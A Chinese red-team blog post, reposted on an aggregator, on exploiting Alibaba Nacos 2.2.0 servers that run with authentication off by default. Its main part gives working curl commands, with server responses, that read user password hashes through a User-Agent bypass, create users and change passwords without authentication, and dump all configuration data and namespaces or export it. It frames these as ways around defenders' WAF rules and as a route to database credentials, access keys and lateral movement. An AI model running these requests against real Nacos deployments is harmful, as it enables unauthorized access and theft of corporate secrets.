云原⽣组件Nacos新型红队手法研究

组件简介

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

历史漏洞

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

https://github.com/alibaba/nacos/issues/1105

在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。

这里就不做过多介绍了,网上有很多。

就在我撰写本文的时候,官方刚刚发布了最新的版本2.2.0 (Dec 14, 2022),我们就来一探究竟。

部署方式

为了方便起见,我这里使用Debian系统并采用的单机部署的方式。

sudo apt-get update
sudo apt-get install default-jdk
sudo ufw disable
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.zip
unzip nacos-server-2.2.0.zip
cd nacos/bin
bash startup.sh -m standalone

然后访问http://ip:8848/nacos,如果出现登录界面,就说明部署成功了,默认的账号密码为nacos/nacos。

图片

我们首先尝试使用老版本的payload尝试能不能打。

curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

不出意外,返回。

caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%

我们仔细看一下报错,提示说是缺少search=blur或者search=accurate,那我们加上再试试看。

curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'

curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'

图片

这就成功了?

我一开始以为没修,后来发现,我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果,但是默认启动却不开鉴权的,并且根据github的issue来看,官方并不认为这是漏洞,以至于网上出了之前由于不当处理User-Agent导致的未授权访问漏洞之后,后人少有挖掘其利用方式,网上的相关资料也基本上停留在那次CVE。

未开启auth

由于默认是不开auth的,所以我们先来讨论未开启auth的情况。

读取用户账号密码

curl -X GET 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

 未授权添加用户

curl -X POST 'http://192.168.20.144:8848/nacos/v1/auth/users?username=test1&password=test1'

{"code":200,"message":null,"data":"create user ok!"}

任意用户密码更改

curl -X PUT 'http://192.168.20.144:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'

基本上目前主流针对Nacos的利用手法就停留在这里了,以至于防守方会通过WAF规则的形式来拦截掉这几个url请求。

但是根据代码审计以及官方的api接口文档,我们还能找到许多可以利用的接口,官方文档里面有的,我就不说了,大家自己可以去OpenAPI(https://nacos.io/zh-cn/docs/open-api.html)自行查看,官网里面的OpenAPI所给出的利用价值并不是很高。

代码审计

下载源码后通过简单查找发现在nacos/config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.javanacos/core/src/main/java/com/alibaba/nacos/core/utils/Commons.java文件下,有相关路由的定义,相关代码如下:

public static final String BASE_PATH = "/v1/cs";
    
    public static final String BASE_V2_PATH = "/v2/cs";
    
    public static final String OPS_CONTROLLER_PATH = BASE_PATH + "/ops";
    
    public static final String CAPACITY_CONTROLLER_PATH = BASE_PATH + "/capacity";
    
    public static final String COMMUNICATION_CONTROLLER_PATH = BASE_PATH + "/communication";
    
    public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + "/configs";
    
    public static final String CONFIG_CONTROLLER_V2_PATH = BASE_V2_PATH + "/config";
    
    public static final String HEALTH_CONTROLLER_PATH = BASE_PATH + "/health";
    
    public static final String HISTORY_CONTROLLER_PATH = BASE_PATH + "/history";
    
    public static final String HISTORY_CONTROLLER_V2_PATH = BASE_V2_PATH + "/history";
    
    public static final String LISTENER_CONTROLLER_PATH = BASE_PATH + "/listener";
    
    public static final String NAMESPACE_CONTROLLER_PATH = BASE_PATH + "/namespaces";
    
    public static final String METRICS_CONTROLLER_PATH = BASE_PATH + "/metrics";


public final class Commons {
    
    public static final String NACOS_SERVER_CONTEXT = "/nacos";
    
    public static final String NACOS_SERVER_VERSION = "/v1";
    
    public static final String NACOS_SERVER_VERSION_V2 = "/v2";
    
    public static final String DEFAULT_NACOS_CORE_CONTEXT = NACOS_SERVER_VERSION + "/core";
    
    public static final String NACOS_CORE_CONTEXT = DEFAULT_NACOS_CORE_CONTEXT;
    
    public static final String NACOS_CORE_CONTEXT_V2 = NACOS_SERVER_VERSION_V2 + "/core";
    
    
}

我们可以看到有V1、V2两种API接口,我们根据不同类型再具体分析。

获取配置数据

根据官方OpenAPI的说明,你需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。

curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos'

事实真的是这样吗?

我们看一下/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java文件中369行开始的代码。

/**
     * Query the configuration information and return it in JSON format.
     */
    @GetMapping(params = "search=accurate")
    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
    public Page<ConfigInfo> searchConfig(@RequestParam("dataId") String dataId, @RequestParam("group") String group,
            @RequestParam(value = "appName", required = false) String appName,
            @RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
            @RequestParam(value = "config_tags", required = false) String configTags,
            @RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
        Map<String, Object> configAdvanceInfo = new HashMap<>(100);
        if (StringUtils.isNotBlank(appName)) {
            configAdvanceInfo.put("appName", appName);
        }
        if (StringUtils.isNotBlank(configTags)) {
            configAdvanceInfo.put("config_tags", configTags);
        }
        try {
            return configInfoPersistService.findConfigInfo4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
        } catch (Exception e) {
            String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
            LOGGER.error(errorMsg, e);
            throw new RuntimeException(errorMsg, e);
        }
    }
    
    /**
     * Fuzzy query configuration information. Fuzzy queries based only on content are not allowed, that is, both dataId
     * and group are NULL, but content is not NULL. In this case, all configurations are returned.
     */
    @GetMapping(params = "search=blur")
    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
    public Page<ConfigInfo> fuzzySearchConfig(@RequestParam("dataId") String dataId,
            @RequestParam("group") String group, @RequestParam(value = "appName", required = false) String appName,
            @RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
            @RequestParam(value = "config_tags", required = false) String configTags,
            @RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
        MetricsMonitor.getFuzzySearchMonitor().incrementAndGet();
        Map<String, Object> configAdvanceInfo = new HashMap<>(50);
        if (StringUtils.isNotBlank(appName)) {
            configAdvanceInfo.put("appName", appName);
        }
        if (StringUtils.isNotBlank(configTags)) {
            configAdvanceInfo.put("config_tags", configTags);
        }
        try {
            return configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
        } catch (Exception e) {
            String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
            LOGGER.error(errorMsg, e);
            throw new RuntimeException(errorMsg, e);
        }
    }

我们可以看到首先先进行了signType = SignType.CONFIG的权限检查,这里的signType的一个作用就是检查auth是否开启,但是之前也提到过,auth是默认不开启的。接着我们继续分析,当参数search=accurate时,从GET请求中获取参数dataIdgroupappNametenantconfig_tagspageNopageSize参数,其中appNametenantconfig_tags不是必填的,接着先检查appNameconfigTags是否为空,我们直接留空或者不填就能绕过这个判断,然后接下来就是迷之操作了,直接给我全部返回了。

所以我们直接构造参数,就可以发现能够获取全部的配置文件了。

curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’

或者,

curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’

图片

但这里有个问题,这只能获取默认命名空间public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。

图片

获取其他Namespace的配置数据

根据官方的OpenAPI文档描述,可以直接请求获取。

curl -X GET 'http://192.168.20.144:8848/nacos/v1/console/namespaces'

我们查看对应的代码,处理namespace的代码在nacos/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java这里,我们看从48行开始的代码,相关代码如下:

@RestController
@RequestMapping("/v1/console/namespaces")
public class NamespaceController {
    
    @Autowired
    private CommonPersistService commonPersistService;
    
    @Autowired
    private NamespaceOperationService namespaceOperationService;
    
    private final Pattern namespaceIdCheckPattern = Pattern.compile("^[\\w-]+");
    
    private static final int NAMESPACE_ID_MAX_LENGTH = 128;
    
    /**
     * Get namespace list.
     *
     * @return namespace list
     */
    @GetMapping
    public RestResult<List<Namespace>> getNamespaces() {
        return RestResultUtils.success(namespaceOperationService.getNamespaceList());
    }

这样一看上去,直接访问就能获取到Namespace列表,我们再跟一下namespaceOperationService.getNamespaceList()

   

 public List<Namespace> getNamespaceList() {
        // TODO 获取用kp
        List<TenantInfo> tenantInfos = commonPersistService.findTenantByKp(DEFAULT_KP);
        
        Namespace namespace0 = new Namespace("", DEFAULT_NAMESPACE, DEFAULT_QUOTA,
                configInfoPersistService.configInfoCount(DEFAULT_TENANT), NamespaceTypeEnum.GLOBAL.getType());
        List<Namespace> namespaceList = new ArrayList<>();
        namespaceList.add(namespace0);
        
        for (TenantInfo tenantInfo : tenantInfos) {
            int configCount = configInfoPersistService.configInfoCount(tenantInfo.getTenantId());
            Namespace namespaceTmp = new Namespace(tenantInfo.getTenantId(), tenantInfo.getTenantName(),
                    tenantInfo.getTenantDesc(), DEFAULT_QUOTA, configCount, NamespaceTypeEnum.CUSTOM.getType());
            namespaceList.add(namespaceTmp);
        }
        return namespaceList;
    }

看上去也没有做什么限制,我们直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间。

图片

这时候我们已经拿到了namespacenamespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespce,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据。

curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace'

图片

配置文件导出

就在我看上面上面这部分代码的时候,我们无意中发现了一个下载文件的接口,还是这个文件,找到了疑似导出配置文件的接口,我们继续跟进一下。

/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java

图片

接着我们在482行看到了相关代码。

图片

根据逻辑,我们很轻松的构造出下载的链接,跟上面的类似,其中tenant为空默认下载public命名空间,如果要下载其他命名空间的配置文件则重复之前的先获取Namespace即可。

http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test_namespace&group=&appName=&ids=

后记

现在来看,之所以因为官方觉得不开启auth不算是漏洞,是因为根据官网OpenAPI来看,你需要知道具体的 Data Id 以及 Group才能读到具体配置,但是攻击者总能够通过代码审计的方法找到其他参数进行绕过。

目前攻防对抗实战中,Nacos的环境遇到非常多,并且无一例外都没有开启auth,很多防守方甚至只是用防火墙阻断网上公开的那几条exp利用的关键地址,Nacos里面保存了企业很多的配置文件比如数据库连接信息、AK/SK信息等等,拿到账号密码等信息之后用来做密码本,然后再进行内网横向,杀伤力非常之大。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/316079.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++代码重用:继承与组合的比较

目录 一、简介 继承 组合 二、继承 三、组合 四、案例说明 4.1一个电子商务系统 4.1.1继承方式 在上述代码中&#xff0c;Order类继承自User类。通过继承&#xff0c;Order类获得了User类的成员函数和成员变量&#xff0c;并且可以添加自己的特性。我们重写了displayI…

java进阶||jdk进阶之循环

从18年学java到现在除了各种各样的数据类型和集合烧不了要遍历这些变量, for循环这时就少不了啦(当然还有8后引入的神器泛型) 先来看一段精髓业务代码, 使用了多个新特性当然也少不了循环和分支判断 代码较长解析在后面 private CommonPage<List<Object>> handle…

NX二次开发PK获取对象类型

PK_ENTITY_ask_class(),获取对象类型建议用这个函数&#xff0c;比较通用&#xff0c;包含所有对象类型&#xff0c;可以替代UF_MODL_ask_edge_type(),UF_MODL_ask_body_type(),UF_MODL_ask_face_type()等函数 PK_ENTITY_t entity; PK_CLASS_t PK_TYPE; PK_ENTITY_ask_class(e…

ubuntu 22 搭建git服务

第一步&#xff0c;安装git&#xff1a; sudo apt-get install git 创建用户信息 git config --global user.name soft 第二步&#xff0c;创建一个git用户&#xff0c;用来运行git服务&#xff1a; sudo adduser git 创建git仓库的存储目录、更改文件目录属主为代码仓库…

观测云产品更新 | 日志、场景仪表板、监控器等

观测云更新 用户访问监测 &#xff08;RUM &#xff09; 公网 Dataway 支持 ip 转换成地理位置信息。 日志 > 查看器详情页 1、新增 BPF 网络日志采集及日志详情页&#xff0c;支持 Json 格式转化&#xff1b; 2、上述 1 中的日志详情页中新增可读的展示模式&#xff0c…

爬虫—响应页面乱码问题解决方法

爬虫—响应页面乱码问题解决方法 案例&#xff1a;腾牛网图片抓取 源代码如下&#xff1a; import requestsurl https://www.qqtn.com/wm/meinvtp_1.html headers {user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) …

牛客周赛 Round 1 解题报告 | 珂学家 | 分类计数 + 同余DP

前言 生于生时&#xff0c;亡于亡刻。遵从自心&#xff0c;尽人之事。 整体评价 终于等来了侧重面试的比赛&#xff0c;而且题量刚刚好&#xff0c;不超纲&#xff0c;不涉及算法竞赛。 第一场的比赛&#xff0c;感觉题目出的比较典&#xff0c;A是简单模拟&#xff0c;B则是…

springcloud sleuth分布式请求链路跟踪

简介 在微服务框架中&#xff0c;一个由客户端发起的请求在后端系统中会经过多个不同的的服务节点调用来协同产生最后的请求结果&#xff0c;每一个前段请求都会形成一条复杂的分布式服务调用链路&#xff0c;链路中的任何一环出现高延时或错误都会引起整个请求最后的失败. S…

【深度学习每日小知识】Logistic Loss 逻辑回归

逻辑回归的损失函数 线性回归的损失函数是平方损失。逻辑回归的损失函数是对数损失&#xff0c;定义如下&#xff1a; L o g L o s s ∑ ( x , y ) ∈ D − y log ⁡ ( y ′ ) − ( 1 − y ) log ⁡ ( 1 − y ′ ) LogLoss\sum_{(x,y)\in D}-y\log(y)-(1-y)\log(1-y) LogLoss…

黑马程序员——2022版软件测试——乞丐版——day02

目录&#xff1a; 解决穷举场景 等价类划分法案例&#xff08;qq合法验证&#xff09;案例&#xff08;城市电话验证&#xff09;总结&#xff08;应用场景&#xff09;解决边界限制问题 步骤案例1案例2总结解决多条件有依赖关系测试 介绍步骤案例&#xff08;订单&#xff09…

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现相机的高速图像保存(C#)

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现相机的高速图像保存&#xff08;C#&#xff09;&#xff09; Baumer工业相机Baumer工业相机的图像高速保存的技术背景Baumer工业相机通过NEOAPI SDK函数图像高速保存在NEOAPI SDK里实现线程高速图像保存&#xff1a;工业相机高…

LLM主流框架:Causal Decoder、Prefix Decoder和Encoder-Decoder

本文将介绍如下内容&#xff1a; transformer中的mask机制Causal DecoderPrefix DecoderEncoder Decoder总结 一、transformer中的mask机制 在Transformer模型中&#xff0c;mask机制是一种用于在self-attention中的技术&#xff0c;用以控制不同token之间的注意力交互。具体…

Debezium发布历史64

原文地址&#xff1a; https://debezium.io/blog/2019/07/12/streaming-cassandra-at-wepay-part-1/ 欢迎关注留言&#xff0c;我是收集整理小能手&#xff0c;工具翻译&#xff0c;仅供参考&#xff0c;笔芯笔芯. 在 WePay 上流式传输 Cassandra - 第 1 部分 七月 12, 2019 …

HackTheBox - Medium - Linux - Faculty

Faculty Faculty 是一台中型 Linux 机器&#xff0c;具有 PHP Web 应用程序&#xff0c;该应用程序使用的库容易受到本地文件包含的影响。利用该库中的 LFi 会泄露一个密码&#xff0c;该密码可用于通过 SSH 以名为“gbyolo”的低级用户身份登录。用户“gbyolo”有权作为“dev…

Leetcode 剑指 Offer II 061. 查找和最小的 K 对数字

题目难度: 中等 原题链接 今天继续更新 Leetcode 的剑指 Offer&#xff08;专项突击版&#xff09;系列, 大家在公众号 算法精选 里回复 剑指offer2 就能看到该系列当前连载的所有文章了, 记得关注哦~ 题目描述 给定两个以升序排列的整数数组 nums1 和 nums2 , 以及一个整数 k…

【GNN2】PyG完成图分类任务,新手入门,保姆级教程

上次讲了如何给节点分类&#xff0c;这次我们来看如何用GNN完成图分类任务&#xff0c;也就是Graph-level的任务。 【GNN 1】PyG实现图神经网络&#xff0c;完成节点分类任务&#xff0c;人话、保姆级教程-CSDN博客 图分类就是以图为单位的分类&#xff0c;举个例子&#xff1…

服务器管理平台开发(3)- Web后端

Web服务端 整体架构采用前后端分离形式&#xff0c;后端使用Golang实现&#xff0c;参考Gin框架 1、后端服务 1.1、服务端架构 代码可参考Github开源项目&#xff1a;https://github.com/pbrong/hrms 1.2、服务地址 http://x.x.x.x:8000/api/v1/meta/info http://x.x.x.x:800…

算法第十七天-构造有效字符串的最少插入数

构造有效字符串的最少插入数 题目要求 解题思路 考虑abc的个数 假设答案有n个"abc"组成&#xff0c;那么需要插入的字符个数为 3 ∗ n − l e n ( s ) 3*n - len(s) 3∗n−len(s)。 对于相邻的两个字符x和y&#xff08;x在y左侧&#xff09;&#xff1a; 如果 x…

anaconda创建虚拟环境启动jupyter notebook

1.进入虚拟环境 &#xff08;以环境名为py37_pytorch1.9为例&#xff09; 创建虚拟环境: conda create -n py37_pytorch1.9 python3.7 查看已经创建的虚拟环境&#xff1a; ​​​​​​​conda env list 切换/进入环境&#xff1a; conda activate py37_pytorch1.9 删除环…

MathType绝对是我数学编辑的首选工具!

去年&#xff0c;微软曾说&#xff0c;要去掉Office里的公式编辑器&#xff0c;建议用户使用MathType编辑公式。目前Office用户可以到微软官网安装MathType的插件&#xff0c;现在免费使用&#xff0c;以后要收费。Word里安装这个插件以后&#xff0c;就会出现MathType的菜单。…